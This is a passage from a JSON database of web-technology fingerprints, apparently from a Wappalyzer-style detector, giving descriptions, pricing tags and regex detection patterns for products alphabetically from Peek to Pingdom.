\"Peek.svg\",\n    \"js\": {\n      \"Peek\": \"\",\n      \"PeekJsApi\": \"\",\n      \"_peekConfig\": \"\"\n    },\n    \"scriptSrc\": [\n      \"js\\\\.peek\\\\.\\\\w+\"\n    ],\n    \"website\": \"https://www.peek.com/\"\n  },\n  \"Peel\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Peel is an open source shopping cart system.\",\n    \"icon\": \"Peel.svg\",\n    \"meta\": {\n      \"generator\": \"www\\\\.peel-shopping\\\\.com\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.peel.fr\"\n  },\n  \"PeerBoard\": {\n    \"cats\": [\n      2\n    ],\n    \"description\": \"PeerBoard is a plug-and-play community solution, which helps groups, clubs, startups, marketplaces and businesses create discussion forums.\",\n    \"icon\": \"PeerBoard.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.peerboard\\\\.com/\"\n    ],\n    \"website\": \"https://peerboard.com\"\n  },\n  \"PeerTube\": {\n    \"cats\": [\n      2\n    ],\n    \"description\": \"PeerTube is a free and open-source, decentralized, federated video platform powered by ActivityPub and WebTorrent.\",\n    \"dom\": {\n      \"#incompatible-browser p\": {\n        \"text\": \"^We are sorry but it seems that PeerTube is not compatible with your web browser\\\\.$\"\n      }\n    },\n    \"icon\": \"PeerTube.svg\",\n    \"meta\": {\n      \"og:platform\": \"^PeerTube$\"\n    },\n    \"website\": \"https://joinpeertube.org/\"\n  },\n  \"Pegboard7\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Pegboard7 is an online digital platform that covers ecommerce, marketing, and enterprise WCMS software for medium to corporate clients, providing a range of online tools to support their growth.\",\n    \"icon\": \"Pegboard7.svg\",\n    \"js\": {\n      \"pegboard\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Pegboard$\"\n    },\n    \"requires\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/pegboard\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://pegboardsoftware.com.au/\"\n  },\n  \"Peity\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Peity is a simple jQuery plugin that converts an element's content into a simple mini svg pie, line or bar chart.\",\n    \"js\": {\n      \"peity\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"peity(?:-demo)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/benpickles/peity\"\n  },\n  \"Pelican\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"Pelican is a static site generator written in Python.\",\n    \"html\": [\n      \"(?:powered|built|generated)\\\\s(?:by|with).*?<a\\\\s+href(?:\\\\s)?=(?:\\\\s)?\\\"[^\\\"]*(?:getpelican\\\\.com|pelican-bootstrap3|pelican-pure|notmyidea\\\\.org)[^\\\"]*\\\".*?>\"\n    ],\n    \"icon\": \"pelican.svg\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://getpelican.com\"\n  },\n  \"PencilBlue\": {\n    \"cats\": [\n      1,\n      11\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"PencilBlue\"\n    },\n    \"icon\": \"PencilBlue.png\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"website\": \"https://github.com/pencilblue/pencilblue\"\n  },\n  \"Pendo\": {\n    \"cats\": [\n      10,\n      58\n    ],\n    \"description\": \"Pendo is a product analytics platform used in release to enrich the product experience and provide insights to the product management team.\",\n    \"icon\": \"Pendo.svg\",\n    \"js\": {\n      \"pendo.HOST\": \"\\\\.pendo\\\\.io\",\n      \"pendo.VERSION\": \"(.+)\\\\;version:\\\\1\\\\;confidence:1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.pendo\\\\.io/\"\n    ],\n    \"website\": \"https://www.pendo.io\"\n  },\n  \"Pepperjam\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Pepperjam is an affiliate marketing solutions provider.\",\n    \"icon\": \"Pepperjam.svg\",\n    \"js\": {\n      \"Pepperjam\": \"\",\n      \"PepperjamTracking\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.pepperjam\\\\.com/\"\n    ],\n    \"website\": \"https://www.pepperjam.com\"\n  },\n  \"Peraichi\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Peraichi is a software company that develops website creation tools and user support systems necessary for businesses.\",\n    \"icon\": \"Peraichi.svg\",\n    \"js\": {\n      \"Peraichi\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://peraichi.com\"\n  },\n  \"Percona\": {\n    \"cats\": [\n      34\n    ],\n    \"description\": \"Percona server is an opensource, fully compatible, enhanced drop-in replacement for MySQL, providing superior performance, scalability, and instrumentation.\",\n    \"icon\": \"percona.svg\",\n    \"website\": \"https://www.percona.com\"\n  },\n  \"Percussion\": {\n    \"cats\": [\n      1\n    ],\n    \"html\": [\n      \"<[^>]+class=\\\"perc-region\\\"\"\n    ],\n    \"icon\": \"Percussion.png\",\n    \"meta\": {\n      \"generator\": \"(?:Percussion|Rhythmyx)\"\n    },\n    \"website\": \"https://percussion.com\"\n  },\n  \"PerfectApps Swift\": {\n    \"cats\": [\n      100,\n      92\n    ],\n    \"description\": \"Swift is a page speed solution for ecommerce store owners built by PerfectApps.\",\n    \"icon\": \"PerfectApps Swift.svg\",\n    \"js\": {\n      \"ps_apiURI\": \"swift-api\\\\.perfectapps\\\\.io/\",\n      \"ps_storeUrl\": \"swift\\\\.perfectapps\\\\.io\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"swift\\\\.perfectapps\\\\.io/\"\n    ],\n    \"website\": \"https://apps.shopify.com/swift\"\n  },\n  \"PerfectBot\": {\n    \"cats\": [\n      6,\n      52\n    ],\n    \"description\": \"PerfectBot is an AI-driven chatbot aimed at optimizing ecommerce customer service.\",\n    \"dom\": [\n      \"option[value='perfectbot'][data-name='PerfectBot'], a[href*='?bu=perfectbot'][data-cat='perfectbot']\"\n    ],\n    \"icon\": \"PerfectBot.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://perfectbot.ai\"\n  },\n  \"Perfex CRM\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Perfex CRM is self hosted customer relationship management software that is a great fit for almost any company, freelancer or many other uses.\",\n    \"dom\": [\n      \"link[href*='perfexcrm.com/']\"\n    ],\n    \"icon\": \"Perfex CRM.svg\",\n    \"pricing\": [\n      \"onetime\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/assets/themes/perfex/js/global\\\\.min\\\\.js(?:\\\\?v=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.perfexcrm.com\"\n  },\n  \"Perfmatters\": {\n    \"cats\": [\n      87,\n      92\n    ],\n    \"cpe\": \"cpe:2.3:a:perfmatters:perfmatters:*:*:*:*:*:wordpress:*:*\",\n    \"description\": \"Perfmatters is a performance optimisation plugin for WordPress websites.\",\n    \"icon\": \"Perfmatters.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/(?:plugins|cache|uploads)/perfmatters/\"\n    ],\n    \"website\": \"https://perfmatters.io\"\n  },\n  \"Performance Lab\": {\n    \"cats\": [\n      87,\n      92\n    ],\n    \"description\": \"Performance plugin from the WordPress Performance Group, which is a collection of standalone performance modules.\",\n    \"icon\": \"Performance Lab.svg\",\n    \"meta\": {\n      \"generator\": \"^Performance Lab ?([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/performance-lab/\"\n  },\n  \"PerimeterX\": {\n    \"cats\": [\n      16\n    ],\n    \"cookies\": {\n      \"_px3\": \"\",\n      \"_pxff_cc\": \"\",\n      \"_pxhd\": \"\",\n      \"_pxvid\": \"\"\n    },\n    \"description\": \"PerimeterX is a provider of scalable, behavior-based threat protection technology for the web, cloud, and mobile.\",\n    \"icon\": \"PerimeterX.svg\",\n    \"js\": {\n      \"_pxAppId\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"client\\\\.a\\\\.pxi\\\\.pub/\"\n    ],\n    \"website\": \"https://www.perimeterx.com\"\n  },\n  \"Periodic\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Periodic is a white-label scheduling system.\",\n    \"dom\": [\n      \"#periodic-embedded-calendar-script, .periodic-embedded-calendar-window, .bookingmain__maincontent\"\n    ],\n    \"icon\": \"Periodic.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/integrations/embed/periodic-embed-resize\\\\.js\"\n    ],\n    \"website\": \"https://periodic.is\"\n  },\n  \"Peripl\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Peripl is a French software company that provides cloud-based software solutions for business management, including accounting, invoicing, payroll, and project management.\",\n    \"dom\": [\n      \"script#peripl-script\"\n    ],\n    \"icon\": \"Peripl.png\",\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.peripl.fr\"\n  },\n  \"Perl\": {\n    \"cats\": [\n      27\n    ],\n    \"cpe\": \"cpe:2.3:a:perl:perl:*:*:*:*:*:*:*:*\",\n    \"description\": \"Perl is a family of two high-level, general-purpose, interpreted, dynamic programming languages.\",\n    \"headers\": {\n      \"Server\": \"\\\\bPerl\\\\b(?: ?/?v?([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Perl.png\",\n    \"website\": \"https://perl.org\"\n  },\n  \"Permutive\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Permutive is a publisher-focused data management platform.\",\n    \"icon\": \"Permutive.svg\",\n    \"js\": {\n      \"permutive\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.permutive\\\\.com\"\n    ],\n    \"website\": \"https://permutive.com\",\n    \"xhr\": [\n      \"api\\\\.permutive\\\\.com\"\n    ]\n  },\n  \"PersonaClick\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"PersonaClick is a provide personalisation, recommandation and multi channel services.\",\n    \"icon\": \"PersonaClick.svg\",\n    \"js\": {\n      \"personaclick\": \"\",\n      \"personaclick_callback\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.personaclick\\\\.com/v([\\\\d.]+)\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.personaclick.com\"\n  },\n  \"Personio\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Personio is the all-in-one HR software for small- and medium-sized companies with 10 to 2000 employees.\",\n    \"dom\": [\n      \"a[href*='.jobs.personio.']\"\n    ],\n    \"icon\": \"Personio.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cdn\\\\.personio\\\\.\"\n    ],\n    \"website\": \"https://www.personio.com\"\n  },\n  \"Personizely\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Personizely is a conversion marketing toolkit which helps websites and ecommerce stores better engage with visitors using website widgets and personalisation.\",\n    \"icon\": \"Personizely.svg\",\n    \"js\": {\n      \"Personizely\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.personizely\\\\.net/\"\n    ],\n    \"website\": \"https://www.personizely.net\"\n  },\n  \"Perzonalization\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Perzonalization is a AI powered personalization engine for eCommerce\",\n    \"icon\": \"Perzonalization.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.perzonalization\\\\.com\"\n    ],\n    \"website\": \"https://www.perzonalization.com/\"\n  },\n  \"Pesapal\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Pesapal is an online payment platform catering to various online businesses, including ecommerce, subscription services, online platforms, and marketplaces.\",\n    \"dom\": [\n      \"div#payment-options > a[href*='www.pesapal.com']\"\n    ],\n    \"icon\": \"Pesapal.svg\",\n    \"js\": {\n      \"pesapalIframe\": \"\"\n    },\n    \"website\": \"https://www.pesapal.com\"\n  },\n  \"Phabricator\": {\n    \"cats\": [\n      13,\n      47\n    ],\n    \"cookies\": {\n      \"phsid\": \"\"\n    },\n    \"description\": \"Phabricator is a suite of web-based software development collaboration tools, including the Differential code review tool, the Diffusion repository browser, the Herald change monitoring tool, the Maniphest bug tracker and the Phriction wiki. Phabricator integrates with Git, Mercurial, and Subversion.\",\n    \"html\": [\n      \"<[^>]+(?:class|id)=\\\"phabricator-\"\n    ],\n    \"icon\": \"Phabricator.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"scriptSrc\": [\n      \"/phabricator/[a-f0-9]{8}/rsrc/js/phui/[a-z-]+\\\\.js$\"\n    ],\n    \"website\": \"https://phacility.com\"\n  },\n  \"Phaser\": {\n    \"cats\": [\n      12\n    ],\n    \"icon\": \"Phaser.png\",\n    \"js\": {\n      \"Phaser\": \"\",\n      \"Phaser.VERSION\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://phaser.io\"\n  },\n  \"Phenomic\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"Phenomic is a modular website compiler.\",\n    \"html\": [\n      \"<[^>]+id=\\\"phenomic(?:root)?\\\"\"\n    ],\n    \"icon\": \"Phenomic.svg\",\n    \"implies\": [\n      \"React\"\n    ],\n    \"scriptSrc\": [\n      \"/phenomic\\\\.browser\\\\.[a-f0-9]+\\\\.js\"\n    ],\n    \"website\": \"https://phenomic.io/\"\n  },\n  \"Philomena\": {\n    \"cats\": [\n      2\n    ],\n    \"description\": \"Philomena is an imageboard software.\",\n    \"icon\": \"Philomena.svg\",\n    \"implies\": [\n      \"Elixir\",\n      \"Erlang\"\n    ],\n    \"meta\": {\n      \"generator\": \"^philomena$\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/derpibooru/philomena\"\n  },\n  \"Phlox\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Phlox is a modern, lightweight and customizable WordPress theme gratify for almost any type of website.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/phlox/'], link[href*='/wp-content/themes/phlox-pro/']\"\n    ],\n    \"icon\": \"Phlox.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/phlox(?:-pro)?/\"\n    ],\n    \"website\": \"https://www.phlox.pro\"\n  },\n  \"Phoenix\": {\n    \"cats\": [\n      18\n    ],\n    \"icon\": \"sazito-phoenix.png\",\n    \"implies\": [\n      \"React\",\n      \"Webpack\",\n      \"Node.js\"\n    ],\n    \"meta\": {\n      \"generator\": \"^phoenix\"\n    },\n    \"website\": \"https://github.com/Sazito/phoenix/\"\n  },\n  \"Phoenix Framework\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"Phoenix Framework is an open-source web application framework built using the Elixir programming language.\",\n    \"icon\": \"Phoenix Framework.svg\",\n    \"implies\": [\n      \"Elixir\"\n    ],\n    \"js\": {\n      \"Phoenix.Channel\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.phoenixframework.org\"\n  },\n  \"Phoenix LiveView\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"Phoenix LiveView is a library that brings live, interactive, real-time user experiences to your Phoenix applications.\",\n    \"dom\": [\n      \"div[data-phx-session]\"\n    ],\n    \"icon\": \"Phoenix Framework.svg\",\n    \"implies\": [\n      \"Phoenix Framework\"\n    ],\n    \"js\": {\n      \"liveSocket.socket\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://hexdocs.pm/phoenix_live_view/Phoenix.LiveView.html\"\n  },\n  \"Phoenix Site\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"phoenix_p_session\": \"\"\n    },\n    \"description\": \"Phoenix Site software has been developed by the Internet Marketing Union and is especially intended for entrepreneurs (without technical knowledge) who want to score better in Google (SEO) and get more leads and customers (conversion) from their website.\",\n    \"icon\": \"Phoenix Site.svg\",\n    \"js\": {\n      \"phxsite.pages_version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://phoenixsite.nl\"\n  },\n  \"Phonexa\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Phonexa is a platform that helps optimise web lead, call lead, and email marketing campaigns.\",\n    \"icon\": \"Phonexa.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.phonexa\\\\.com/\"\n    ],\n    \"website\": \"https://phonexa.com\"\n  },\n  \"Phorest\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Phorest software is an all-in-one solution for managing and growing businesses in the hair, beauty, barber, and spa industries.\",\n    \"icon\": \"Phorest.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"booking-widget\\\\.phorestcdn\\\\.com/\"\n    ],\n    \"website\": \"https://www.phorest.com\"\n  },\n  \"Photo Gallery\": {\n    \"cats\": [\n      87,\n      7\n    ],\n    \"description\": \"Photo Gallery plugin is a feature-rich, yet easy-to-use WordPress tool, which lets you add mobile-friendly image galleries and gallery groups to your website by 10Web.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/photo-gallery/']\"\n    ],\n    \"icon\": \"Photo Gallery.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/photo-gallery/.+scripts\\\\.min\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://10web.io/plugins/wordpress-photo-gallery\"\n  },\n  \"PhotoShelter\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"description\": \"PhotoShelter is a cloud storage service that doubles as a website and ecommerce platform for photographers.\",\n    \"dom\": [\n      \"link[href*='.c.photoshelter.com']\"\n    ],\n    \"icon\": \"PhotoShelter.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\",\n      \"jQuery\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.psecn\\\\.photoshelter\\\\.com/\"\n    ],\n    \"url\": [\n      \"photoshelter\\\\.com\"\n    ],\n    \"website\": \"https://www.photoshelter.com\"\n  },\n  \"PhotoShelter for Brands\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"PhotoShelter for Brands is a cloud-based media management system for companies and organizations.\",\n    \"dom\": {\n      \"a[href*='.photoshelter.com/']\": {\n        \"attributes\": {\n          \"href\": \"^(?:(?!psecn).)*$\"\n        }\n      },\n      \"a[href*='brands.photoshelter.com/']\": {\n        \"attributes\": {\n          \"text\": \"^Powered by PhotoShelter for Brands$\"\n        }\n      }\n    },\n    \"excludes\": [\n      \"PhotoShelter\"\n    ],\n    \"icon\": \"PhotoShelter.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://brands.photoshelter.com\"\n  },\n  \"PhotoSwipe\": {\n    \"cats\": [\n      7,\n      59\n    ],\n    \"description\": \"PhotoSwipe is an open-source gallery to support JavaScript-based image zooming.\",\n    \"icon\": \"PhotoSwipe.svg\",\n    \"js\": {\n      \"PhotoSwipe\": \"\",\n      \"PhotoSwipeUI_Default\": \"\",\n      \"photoswipeParseHash\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"photoswipe/([\\\\d\\\\.]+)/photoswipe\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://photoswipe.com\"\n  },\n  \"Photoslurp\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Photoslurp is a visual commerce platform that collects photos and videos of customers using your products from across social networks.\",\n    \"icon\": \"Photoslurp.svg\",\n    \"js\": {\n      \"Photoslurp\": \"\",\n      \"photoSlurpWidgetSettings\": \"\",\n      \"photoslurp_script\": \"\",\n      \"photoslurp_wdgts\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://hi.photoslurp.com\"\n  },\n  \"Phusion Passenger\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:phusionpassenger:phusion_passenger:*:*:*:*:*:*:*:*\",\n    \"description\": \"Phusion Passenger is a free web server and application server with support for Ruby, Python and Node.js.\",\n    \"headers\": {\n      \"Server\": \"Phusion Passenger ([\\\\d.]+)\\\\;version:\\\\1\",\n      \"X-Powered-By\": \"Phusion Passenger(?:\\\\(R\\\\))? ?([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Phusion Passenger.svg\",\n    \"website\": \"https://phusionpassenger.com\"\n  },\n  \"PiAds\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"PiAds is a marketing system designed to enhance the efficiency of advertising campaigns through targeted strategies and data-driven insights.\",\n    \"icon\": \"PiAds.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.piads\\\\.vn/\"\n    ],\n    \"website\": \"https://piads.vn\"\n  },\n  \"Piano\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Piano is a enterprise SaaS company which specialising in advanced media business processes and ecommerce optimisation.\",\n    \"icon\": \"Piano.svg\",\n    \"js\": {\n      \"PianoESPConfig\": \"\",\n      \"gciDataPiano\": \"\",\n      \"pianoAnalytics\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.tinypass\\\\.com\",\n      \"\\\\.piano\\\\.io\"\n    ],\n    \"website\": \"https://piano.io\"\n  },\n  \"Piano Analytics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Piano Analytics is a data integration platform that consolidates marketing analytics, product analytics, content analytics, transaction data, and first-party data to offer a centralised source for reporting and segmentation.\",\n    \"icon\": \"Piano.svg\",\n    \"js\": {\n      \"pianoAnalytics\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://piano.io/product/analytics/\"\n  },\n  \"PickyStory\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"PickyStory is the ecommerce conversion platform.\",\n    \"icon\": \"PickyStory.png\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"pickystory.overrideStore\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.pickystory\\\\.com/\"\n    ],\n    \"website\": \"https://pickystory.com\"\n  },\n  \"Pico\": {\n    \"cats\": [\n      53\n    ],\n    \"icon\": \"pico.svg\",\n    \"js\": {\n      \"Pico\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widget\\\\.pico\\\\.tools\"\n    ],\n    \"website\": \"https://trypico.com\"\n  },\n  \"Pico CSS\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Pico CSS is a minimal CSS framework for semantic HTML, without using classes.\",\n    \"dom\": [\n      \"link[href*='/pico.min.css'], link[href*='picocss.com/']\"\n    ],\n    \"icon\": \"Pico CSS.svg\",\n    \"oss\": true,\n    \"website\": \"https://picocss.com\"\n  },\n  \"Picreel\": {\n    \"cats\": [\n      77,\n      5\n    ],\n    \"description\": \"Picreel is a conversion optimisation software.\",\n    \"dom\": [\n      \"iframe[src*='app.picreel.com']\"\n    ],\n    \"icon\": \"Picreel.svg\",\n    \"js\": {\n      \"picreel\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.picreel\\\\.com\"\n    ],\n    \"website\": \"https://www.picreel.com\"\n  },\n  \"Picturepark\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"Picturepark is designed to facilitate your DAM policies by storing, tagging, searching and delivering files in an automated and controlled way.\",\n    \"dom\": [\n      \"img[data-name*='Picturepark'], img[data-srcset*='picturepark'], div[style*='picturepark'], source[srcset*='picturepark']\"\n    ],\n    \"icon\": \"Picturepark.svg\",\n    \"js\": {\n      \"pictureparkConfiguration\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"website\": \"https://picturepark.com\"\n  },\n  \"Piio\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"Piio is a tool designed to optimise images for websites, enhancing loading speeds and user experience.\",\n    \"dom\": [\n      \"link[href*='.piiojs.com']\"\n    ],\n    \"icon\": \"Piio.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.piiojs\\\\.com/\"\n    ],\n    \"website\": \"https://piio.co\"\n  },\n  \"Pikaday\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"A refreshing JavaScript Datepicker.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"pikaday(?:-jquery)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/dbushell/Pikaday\"\n  },\n  \"Piman\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"Piman is an open-source accessibility UI framework create by Blueplanet Inc.\",\n    \"dom\": [\n      \"button.bpa-btn\"\n    ],\n    \"icon\": \"Piman.svg\",\n    \"oss\": true,\n    \"website\": \"https://piman.cc\"\n  },\n  \"Pimcore\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:pimcore:pimcore:*:*:*:*:*:*:*:*\",\n    \"description\": \"Pimcore is an open-source digital platform that aggregates, enriches, and manages enterprise data and provides up-to-date, consistent, and personalised experiences to customers.\",\n    \"dom\": [\n      \".pimcore_area_content\"\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"^pimcore$\"\n    },\n    \"icon\": \"pimcore.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"/pimcorecore/js/targeting\\\\.js\"\n    ],\n    \"website\": \"https://pimcore.com/en/digital-experience-platform\"\n  },\n  \"Pin Payments\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Pin Payments is an all-in-one online payment system. It offers merchants a simple JSON API, secure credit card storage, multi-currency capabilities, bank account compatibility, onsite payment processing and automatic fund transfer to specified bank accounts.\",\n    \"icon\": \"pinpayments.svg\",\n    \"scriptSrc\": [\n      \"api\\\\.pinpayments\\\\.com\"\n    ],\n    \"website\": \"https://www.pinpayments.com/\"\n  },\n  \"Ping Parrot\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Ping Parrot is an AI powered chatbot that allows any website to create a bot that is trained on their data.\",\n    \"icon\": \"PingParrot.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.pingparrot\\\\.com/\"\n    ],\n    \"website\": \"https://www.pingparrot.com\"\n  },\n  \"Pingdom RUM\": {\n    \"cats\": [\n      78\n    ],\n    \"description\": \"Pingdom RUM(Real User Monitoring) is a feature of the Pingdom website monitoring and performance testing service. RUM enables you to collect and analyse data on how real users are experiencing your website.\",\n    \"icon\": \"Pingdom.svg\",\n    \"js\": {\n      \"_prum\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"rum-static\\\\.pingdom\\\\.net\"\n    ],\n    \"website\": \"https://www.pingdom.com/real-user-monitoring/\"\n  },\n  \"Pingdom Uptime Monitoring\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Pingdom Uptime Monitoring is a feature provided by the Pingdom website monitoring and performance testing service. It allows you to monitor the uptime and availability of your website.\",\n    